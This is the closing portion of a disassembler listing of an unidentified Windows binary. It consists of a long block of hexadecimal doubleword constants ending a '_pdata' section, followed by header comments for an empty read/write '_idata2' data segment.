dd 1B980771h, 0C5A88093h, 0FC82EAB4h, 95C8C99Ah, 8B531B61h
dd 35FBA207h, 36EE9721h, 7ED1FEF3h, 556D0EFAh, 0A18FE391h
dd 0DB56B3B8h, 80A46537h, 961E31EFh, 398A71D4h, 6E51205Fh
dd 32299659h, 697E0D6Ch, 593B1D0Ah, 2185F7FFh, 656EE28Ch
dd 761734A1h, 0D40D0538h, 3E55F4ADh, 4A7C5070h, 18027B5Dh
dd 1F4F17FEh, 6BEF4FF4h, 0CB6BF3D4h, 9C39250Bh, 0CE7E352Bh
dd 6FDD07Ch, 6FFAAD2Fh, 0F91C513Ch, 470F4B60h, 241AFA7Eh
dd 8AE06792h, 0AEC130E4h, 2860EDEDh, 0F335EAFCh, 82EA9ACEh
dd 0DF4A49DEh, 0EED95DA1h, 0E3A3C443h, 17D4F345h, 91FB7A39h
dd 0D17AB86Ch, 3D7BF2Ah, 0B64A8012h, 0DF0CCDACh, 61C1AEF9h
dd 534A36F0h, 26F7B40Fh, 8660AD74h, 0A090EC09h, 0E5C5BEE0h
dd 26E2E162h, 24DAE8E8h, 9CD5CE9Ch, 0CBAF4B00h, 0A30D0F07h
dd 0D3D77442h, 0AE7332Ah, 15FD9E86h, 646E158Dh, 0AF1BC212h
dd 0B5E2B3D9h, 4E69FE08h, 401FA47h, 6CDBFE25h, 29F562F5h
dd 0DA36F16Fh, 0E477A334h, 87CB2D9h, 8AED7750h, 4C8BF11Dh
dd 9B8C505Fh, 0B72D343Bh, 8D195878h, 0FDC632CDh, 0DCD218E1h
dd 385D626Dh, 0FFD9A270h, 8AE4323h, 57131C25h, 442C51FDh
dd 0D2E59766h, 0EF874299h, 97E58756h, 0A9EA173h, 21ABFFADh
dd 1F9841F3h, 717367CBh, 26FDE71Dh, 1CD03826h, 9142D77h
dd 0B71440A6h, 49E73260h, 9818373Bh, 681E8AB8h, 6E80DAF8h
dd 2E388DA9h, 0CCAF17AAh, 0C14E9357h, 0FFE2199Fh, 2F1B1358h
dd 6AF7ECB9h, 74EC7D96h, 3D8F1B6Fh, 0F5302581h, 0A0F77E8h
dd 0E1CAF4D9h, 43E82E1h, 43D879F4h, 4EA6DA58h, 1F551603h
dd 58472903h, 0F85743C7h, 8CC98BB7h, 0A9CDA666h, 0E6C2E629h
dd 0ABD7D78Ah, 0EA1A3259h, 0BD80AB1Ah, 64A9335h, 71BAD3BFh
dd 183DA7C3h, 675017h, 8A8B5F70h, 7AD04801h, 403D6BECh
dd 0EE851A12h, 0DECA1BD1h, 77103445h, 2892FBFCh, 0FB50E3F1h
dd 0E9223B37h, 0EE50C4F5h, 3BD67F0h, 960335D1h, 2AFFFCCh
dd 19F2CA8Eh, 21E010D8h, 494CA436h, 38FB621h, 647930EDh
dd 818120E6h, 9E9BF9BDh, 0AA469B72h, 699E071Fh, 2C9D0610h
dd 777A435h, 89548A49h, 4BB25B56h, 9AC9D15Eh, 0AFE4AB73h
dd 15147D45h, 314180D1h, 4974F8F0h, 5E42C458h, 44B1A08Fh
dd 4B60EDDCh, 992FBE6Bh, 9E931612h, 5098C132h, 0DDE4044h
dd 6D87B471h, 21611710h, 744E220Ah, 44CF3392h, 41FF296Bh
dd 1D394E34h, 3E7844C4h, 0D279B78Ah, 383E4319h, 0AB163067h
dd 0FD0EAA0Dh, 0F058B19Ah, 1A24B4C3h, 474A25h, 0A896F526h
dd 0FCD153FFh, 0D7FDE07Dh, 787C04D7h, 0DB9ABB2Fh, 21A13CF2h
dd 1C64DB59h, 0C55DC4A0h, 0D88A5834h, 79722448h, 4AD203A4h
dd 0D28CD542h, 0BECB0B04h, 5B92A62Dh, 5B9A662Dh, 5B92A42Dh
dd 5B92A66Ch, 0B480B060h, 3DAE2A70h, 0DD2E117Ah, 64C62E23h
dd 0BC9C742Dh, 301F98D7h, 0D5249D3Fh, 0FB26E8FEh, 0A9F2DE36h
dd 20A3E87Ah, 7961C85h, 0A2A5B5CFh, 23575769h, 2D63423Eh
dd 8E3FF93Ah, 0E08C86Ch, 92A62D16h, 92A62D5Bh, 995Bh, 9A00h
dd 14C85B00h, 0F4330705h, 61742160h, 677B21Dh, 9A4BE21Eh
dd 9ED880FCh, 86BEE962h, 6A8F0D79h, 0AF159E0Fh, 465862CFh
dd 0CAAB4A68h, 0E00EB97Eh, 5373D738h, 8E0FC743h, 5D93E4FEh
dd 92BB1F1Eh, 0E1504FC4h, 0DABFF1BBh, 6ED0C4D3h, 0A8992884h
dd 0E0B2F2B1h, 7D97E216h, 15D68C82h, 5424FF32h, 1FDA2A04h
dd 451F8FF0h, 0E5C05781h, 0F9AC54B1h, 600257A3h, 756AC036h
dd 0D32BDEEAh, 2E1411D1h, 8CEC6C08h, 1A445463h, 0F1435D24h
dd 5273C0E2h, 6C1B55AFh, 62724335h, 5C3264h, 3 dup(0)
dd 8A000000h, 6F6991h, 8A000000h, 6F6991h, 1995h dup(0)
_pdata ends
; Section 8. (virtual address 0014D000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0014D000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 54D000h
align 2000h
_idata2 ends
end start